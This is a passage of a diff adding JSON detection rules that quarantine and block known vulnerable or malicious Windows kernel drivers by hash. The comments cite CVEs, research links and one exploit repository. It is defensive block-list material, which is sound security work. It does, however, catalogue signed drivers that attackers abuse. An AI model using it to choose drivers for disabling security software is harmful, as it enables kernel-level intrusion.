+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615714Z",
+  "creation_date": "2026-03-23T11:45:29.615716Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615721Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ce89124d29b5e562bbcc2f07b1dfac0f22dd66ad3deb32dd32c8c138a3739ef8",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1bb75656-8ea6-5f19-8654-aae24887f9eb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.458898Z",
+  "creation_date": "2026-03-23T11:45:30.458902Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.458910Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "11b0e5d7971aaa2a6c4621f068af390f291fd796c202369605c2e0c7940f50ee",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1bb8521e-2cd0-5496-8637-dfd4b0e2affb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.472723Z",
+  "creation_date": "2026-03-23T11:45:30.472726Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.472735Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c8f0bb5d8836e21e7a22a406c69c01ba7d512a808c37c45088575d548ee25caa",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1bb94e93-3293-568c-bd63-e2f0891ba078",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.472317Z",
+  "creation_date": "2026-03-23T11:45:31.472321Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.472330Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "960af5beee5b2f08932334d7387d7bf50bfb02885b12f2c5ade8edc83d5eca0a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1bbbecd3-d5db-5980-9652-e817e527c9cc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981489Z",
+  "creation_date": "2026-03-23T11:45:29.981491Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981496Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c640930c29ea3610a3a5cebee573235ec70267ed223b79b9fa45a80081e686a4",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1bbd4c1d-6ff1-5a05-ab0a-d2451ca0977a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487755Z",
+  "creation_date": "2026-03-23T11:45:31.487757Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487763Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "67483af4d2a341aa05f09ddaff08d42ae8206a08707bc27cddab41622a5d8fd5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1bbd845a-45de-598a-9baa-bf43f2320a53",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614058Z",
+  "creation_date": "2026-03-23T11:45:29.614060Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614066Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "525d9b51a80ca0cd4c5889a96f857e73f3a80da1ffbae59851e0f51bdfb0b6cd",
+  "comment": "MICSYS Technology driver (aka MsIo64.sys) [CVE-2019-18845] [https://github.com/kkent030315/MsIoExploit] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1bc09a8b-1523-5450-8f66-b1f802d62c16",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831476Z",
+  "creation_date": "2026-03-23T11:45:30.831479Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831484Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fc288b9b40e3d0dbc5fa3df046e4ce61f1bd75086bb28233081c9cb6138d9103",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1bc360f3-955e-5043-bc18-2e995fb89da2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817070Z",
+  "creation_date": "2026-03-23T11:45:30.817072Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817077Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7a1105548bfc4b0a1b7b891cde0356d39b6633975cbcd0f2e2d8e31b3646d2ca",
+  "comment": "Vulnerable Kernel Driver (aka AODDriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1bc4e500-1aa6-56ce-b677-5852a3efc0a7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145307Z",
+  "creation_date": "2026-03-23T11:45:31.145309Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145315Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c0d52f1953a3edf62f454c7bdcfa714f53a04e475e4b08696763e2948edf82fb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1bcb951e-d64b-53e0-ba14-242cb738eac4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154622Z",
+  "creation_date": "2026-03-23T11:45:31.154623Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154629Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5e625e5a2b33bb6051990b275e7a2381bc6cb8606504bfde5eb6dee08b24b6f6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1bcbd8cb-d97d-52a0-95df-63d11648176f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.833174Z",
+  "creation_date": "2026-03-23T11:45:30.833178Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.833186Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "17b055841b41b0c1bc4348ff8a35f95c9e9e69015dfb479f757f20173cb49123",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1bdc5030-e696-5a15-8a22-c757fb258c60",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969151Z",
+  "creation_date": "2026-03-23T11:45:29.969153Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969158Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2732050a7d836ae0bdc5c0aea4cdf8ce205618c3e7f613b8139c176e86476d0c",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1bf6e305-8e43-57b6-80a4-c242b5ba4881",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616521Z",
+  "creation_date": "2026-03-23T11:45:29.616525Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616533Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "38d87b51f4b69ba2dae1477684a1415f1a3b578eee5e1126673b1beaefee9a20",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1bfad0c2-7782-57f0-a8d7-947e6025d272",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815419Z",
+  "creation_date": "2026-03-23T11:45:31.815421Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815426Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cff54479f814186be34225d85bc0a8106f6db9e0a250c3d8743c3d683a3bc695",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1c0c52b3-548b-5b83-b692-846bf02e1202",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150889Z",
+  "creation_date": "2026-03-23T11:45:31.150891Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150896Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4e553ee6a6caa39a96105a89518f69a891ff42defa190784376205b0ff824050",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1c0f20d4-8602-59a4-8b7f-c440733e7405",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976318Z",
+  "creation_date": "2026-03-23T11:45:29.976320Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976326Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9bb09752cf3a464455422909edef518ac18fe63cf5e1e8d9d6c2e68db62e0c87",
+  "comment": "Malicious attestation-signed Drivers (aka NodeDriver.sys, 4.sys, Air_SYSTEM10.sys etc.) [https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1c158798-8f32-530b-8842-5c2aede4c5f8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979256Z",
+  "creation_date": "2026-03-23T11:45:29.979258Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979263Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cb57f3a7fe9e1f8e63332c563b0a319b26c944be839eabc03e9a3277756ba612",
+  "comment": "Vulnerable Kernel Driver (aka d2.sys) [https://www.loldrivers.io/drivers/d05a0a6c-c037-4647-99ac-c41593190223/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1c1f9c60-0057-5b73-933d-11a4f4631f2e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.816474Z",
+  "creation_date": "2026-03-23T11:45:31.816477Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.816485Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1308161256400a94d7314c6adbba7de8b5fe0002e60a8504f5382cc2fa366658",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1c35c763-de95-5287-8880-61f7f69c9f0d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.458750Z",
+  "creation_date": "2026-03-23T11:45:30.458753Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.458762Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "52c7b29023ac2a98b7a9c73de790d820d3d6d095bea0b077d4dad53fa97b0731",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1c36de56-0340-57a6-b3fe-061786879770",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980532Z",
+  "creation_date": "2026-03-23T11:45:29.980534Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980540Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7070ee6dd615538ca6a701e7bdc2c23a19b84ae8ca5f9edc6307fef47eb05abb",
+  "comment": "Vulnerable Kernel Driver (aka rzpnk.sys) [https://www.loldrivers.io/drivers/1c6e1d3b-f825-4065-9e0c-83386883e40f/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1c453ef8-654d-59af-aacc-b7ea0e17c893",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.471742Z",
+  "creation_date": "2026-03-23T11:45:30.471745Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.471754Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "eaa5dae373553024d7294105e4e07d996f3a8bd47c770cdf8df79bf57619a8cd",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1c4c0c0a-abc8-55ee-9121-0c85a70395f7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812063Z",
+  "creation_date": "2026-03-23T11:45:31.812065Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
